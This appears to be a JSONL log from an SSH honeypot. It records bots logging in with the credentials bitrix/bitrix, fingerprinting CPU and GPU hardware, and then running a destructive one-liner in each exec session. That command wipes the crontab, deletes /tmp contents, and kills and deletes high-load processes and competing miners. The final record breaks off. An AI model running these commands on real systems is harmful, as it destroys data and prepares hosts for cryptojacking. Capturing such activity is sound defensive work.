{"id":"249cc5dd-79a9-49a4-af6d-9d0100eb9651","name":"plush-knotted-bluebird","protocol":"ssh","channel_kind":null,"src_ip":"91.92.40.217","src_port":41508,"username":"bitrix","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T02:14:33.231795+00:00","ended_at":"2026-08-27T02:14:35.881534+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"bitrix","password":"bitrix","method":"password","accepted":true,"tier":"other"}]}
{"id":"4f4ddfec-ee7f-4d0f-b5ad-1fb11b0d0c19","name":"lofty-golden-petrel","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.40.217","src_port":44610,"username":"bitrix","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":271,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-27T02:14:29.855467+00:00","ended_at":"2026-08-27T02:14:35.883409+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1659,"events":[{"seq":1,"at":"2026-08-27T02:14:03.244676+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T02:14:04.970410+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-27T02:14:05.191129+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-27T02:14:06.779078+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-27T02:14:07.219083+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-27T02:14:09.049652+00:00","kind":"output","latency_ms":null,"data":"6 days, 23:04"},{"seq":7,"at":"2026-08-27T02:14:09.271143+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-27T02:14:10.624028+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-27T02:14:10.894780+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-27T02:14:11.744629+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-27T02:14:11.929186+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-27T02:14:13.906580+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-27T02:14:14.153447+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-27T02:14:16.020700+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-27T02:14:16.696615+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-27T02:14:17.787764+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-27T02:14:17.984922+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-27T02:14:20.120580+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-27T02:14:20.513923+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-27T02:14:22.493684+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-27T02:14:23.013899+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-27T02:14:24.688337+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-27T02:14:24.940077+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-27T02:14:27.037236+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-27T02:14:27.404956+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-27T02:14:29.856163+00:00","kind":"input","latency_ms":null,"data":"echo bitrix > /tmp/d.log"}],"credentials":[{"username":"bitrix","password":"bitrix","method":"password","accepted":true,"tier":"other"}]}
{"id":"a116c381-aade-4870-b3f2-3401d21e9467","name":"diligent-chilly-sloth","protocol":"ssh","channel_kind":null,"src_ip":"77.239.124.249","src_port":39312,"username":"bitrix","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:04:07.924006+00:00","ended_at":"2026-08-26T14:04:12.209287+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"bitrix","password":"bitrix","method":"password","accepted":true,"tier":"other"}]}
{"id":"9952d254-ff5c-4993-b3a8-180ce6794e2b","name":"gleaming-murky-macaw","protocol":"ssh","channel_kind":"exec","src_ip":"77.239.124.249","src_port":39752,"username":"bitrix","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":530,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-26T14:04:00.823904+00:00","ended_at":"2026-08-26T14:04:12.210574+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1659,"events":[{"seq":1,"at":"2026-08-26T14:03:02.145872+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-26T14:03:05.194312+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-26T14:03:05.503463+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-26T14:03:08.367661+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-26T14:03:09.716178+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-26T14:03:12.236321+00:00","kind":"output","latency_ms":null,"data":"6 days, 10:53"},{"seq":7,"at":"2026-08-26T14:03:12.765732+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-26T14:03:18.214201+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-26T14:03:18.581753+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-26T14:03:21.813114+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-26T14:03:22.171866+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-26T14:03:25.308427+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-26T14:03:26.355489+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-26T14:03:30.740432+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-26T14:03:31.116897+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-26T14:03:36.246078+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-26T14:03:36.940304+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-26T14:03:40.966946+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-26T14:03:42.200447+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-26T14:03:46.605156+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-26T14:03:47.344149+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-26T14:03:51.757849+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-26T14:03:52.136722+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-26T14:03:54.996056+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-26T14:03:55.214833+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-26T14:04:00.825083+00:00","kind":"input","latency_ms":null,"data":"echo bitrix > /tmp/d.log"}],"credentials":[{"username":"bitrix","password":"bitrix","method":"password","accepted":true,"tier":"other"}]}
{"id":"4c64d55a-846d-4021-a52f-0653da77d201","name":"rapid-cobalt-linnet","protocol":"ssh","channel_kind":null,"src_ip":"91.92.40.200","src_port":43486,"username":"bitrix","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T05:37:41.569302+00:00","ended_at":"2026-08-26T05:37:43.337306+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"bitrix","password":"bitrix","method":"password","accepted":true,"tier":"other"}]}
{"id":"3cee41e3-bac6-4e67-93a5-d59c25e38410","name":"distant-sandy-caribou","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.40.200","src_port":57288,"username":"bitrix","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":187,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-26T05:37:37.560103+00:00","ended_at":"2026-08-26T05:37:43.336524+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1659,"events":[{"seq":1,"at":"2026-08-26T05:36:44.183081+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-26T05:36:49.203431+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-26T05:36:49.373561+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-26T05:36:54.388554+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-26T05:36:54.661937+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-26T05:36:57.959114+00:00","kind":"output","latency_ms":null,"data":"6 days,  2:27"},{"seq":7,"at":"2026-08-26T05:36:58.129108+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-26T05:37:03.535815+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-26T05:37:03.704530+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-26T05:37:06.894807+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-26T05:37:07.087088+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-26T05:37:10.286805+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-26T05:37:10.461547+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-26T05:37:14.341677+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-26T05:37:14.517056+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-26T05:37:18.064604+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-26T05:37:18.262875+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-26T05:37:22.509223+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-26T05:37:22.686918+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-26T05:37:26.871250+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-26T05:37:27.058390+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-26T05:37:29.621999+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-26T05:37:29.810272+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-26T05:37:33.996047+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-26T05:37:34.277549+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-26T05:37:37.561033+00:00","kind":"input","latency_ms":null,"data":"echo bitrix > /tmp/d.log"}],"credentials":[{"username":"bitrix","password":"bitrix","method":"password","accepted":true,"tier":"other"}]}
{"id":"9fec6ee0-7a2a-46c1-a5fb-b19ad74ad6fb","name":"loyal-silent-woodchuck","protocol":"ssh","channel_kind":null,"src_ip":"45.153.34.165","src_port":54500,"username":"bitrix","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-25T01:00:36.411082+00:00","ended_at":"2026-08-25T01:00:38.416106+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"bitrix","password":"bitrix","method":"password","accepted":true,"tier":"other"}]}
{"id":"166bd83b-727d-4574-92e5-994b1cd263f4","name":"indigo-craggy-pipit","protocol":"ssh","channel_kind":"exec","src_ip":"45.153.34.165","src_port":58956,"username":"bitrix","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":228,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-25T01:00:30.220317+00:00","ended_at":"2026-08-25T01:00:38.417312+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1659,"events":[{"seq":1,"at":"2026-08-25T00:59:40.416059+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-25T00:59:44.478615+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-25T00:59:44.915215+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-25T00:59:47.777665+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-25T00:59:48.014183+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-25T00:59:50.715119+00:00","kind":"output","latency_ms":null,"data":"4 days, 21:49"},{"seq":7,"at":"2026-08-25T00:59:50.909331+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-25T00:59:55.002983+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-25T00:59:55.327157+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-25T00:59:57.992623+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-25T00:59:58.215985+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-25T01:00:02.836136+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-25T01:00:03.002121+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-25T01:00:06.014296+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-25T01:00:06.201886+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-25T01:00:09.081487+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-25T01:00:09.309248+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-25T01:00:13.293354+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-25T01:00:13.513997+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-25T01:00:16.483745+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-25T01:00:16.706510+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-25T01:00:20.252065+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-25T01:00:20.500586+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-25T01:00:25.808705+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-25T01:00:26.236504+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-25T01:00:30.220809+00:00","kind":"input","latency_ms":null,"data":"echo bitrix > /tmp/d.log"}],"credentials":[{"username":"bitrix","password":"bitrix","method":"password","accepted":true,"tier":"other"}]}
{"id":"de5ab457-827e-42f6-a394-303394873d1f","name":"bold-daring-mole","protocol":"ssh","channel_kind":null,"src_ip":"91.92.47.11","src_port":48562,"username":"bitrix","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-24T08:46:38.237633+00:00","ended_at":"2026-08-24T08:46:41.924097+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"bitrix","password":"bitrix","method":"password","accepted":true,"tier":"other"}]}
{"id":"63d17c5d-e8e2-4f9c-9049-c1827ab2e9c1","name":"thawing-salty-lark","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.47.11","src_port":59450,"username":"bitrix","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":1222,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-24T08:46:33.725537+00:00","ended_at":"2026-08-24T08:46:41.925143+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1659,"events":[{"seq":1,"at":"2026-08-24T08:46:12.011696+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-24T08:46:12.013195+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-24T08:46:14.827842+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-24T08:46:14.828353+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-24T08:46:16.998738+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-24T08:46:16.999228+00:00","kind":"output","latency_ms":null,"data":"4 days,  5:36"},{"seq":7,"at":"2026-08-24T08:46:18.904434+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-24T08:46:18.904764+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-24T08:46:20.383754+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-24T08:46:20.384119+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-24T08:46:21.322124+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-24T08:46:21.826582+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-24T08:46:23.049222+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-24T08:46:23.517174+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-24T08:46:24.244019+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-24T08:46:25.077338+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-24T08:46:25.832480+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-24T08:46:26.245641+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-24T08:46:27.010169+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-24T08:46:27.555567+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-24T08:46:28.408036+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-24T08:46:29.250825+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-24T08:46:30.596643+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-24T08:46:31.049612+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-24T08:46:31.724524+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-24T08:46:33.726575+00:00","kind":"input","latency_ms":null,"data":"echo bitrix > /tmp/d.log"}],"credentials":[{"username":"bitrix","password":"bitrix","method":"password","accepted":true,"tier":"other"}]}
{"id":"97b3eae9-5d76-4246-904f-8a30d386fbba","name":"dutiful-dappled-jaguar","protocol":"ssh","channel_kind":"exec","src_ip":"2.57.122.53","src_port":34140,"username":"bitrix","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":408,"probe_flagged":0,"exec_command":"/bin/./uname -s -v -n -r -m","started_at":"2026-08-22T16:45:15.622880+00:00","ended_at":"2026-08-22T16:45:15.892336+00:00","ended_reason":"exec complete","commands":7,"transcript_bytes":837,"events":[{"seq":1,"at":"2026-08-22T16:45:12.425931+00:00","kind":"input","latency_ms":null,"data":"/bin/./uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-22T16:45:13.177363+00:00","kind":"output","latency_ms":748,"data":"Linux #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 localhost 7.0.0-22-generic x86_64"},{"seq":3,"at":"2026-08-22T16:45:13.454169+00:00","kind":"input","latency_ms":null,"data":"uptime -p"},{"seq":4,"at":"2026-08-22T16:45:13.455111+00:00","kind":"output","latency_ms":null,"data":" 16:45:13 up 2 days, 13:35,  0 user,  load average: 0.35, 0.39, 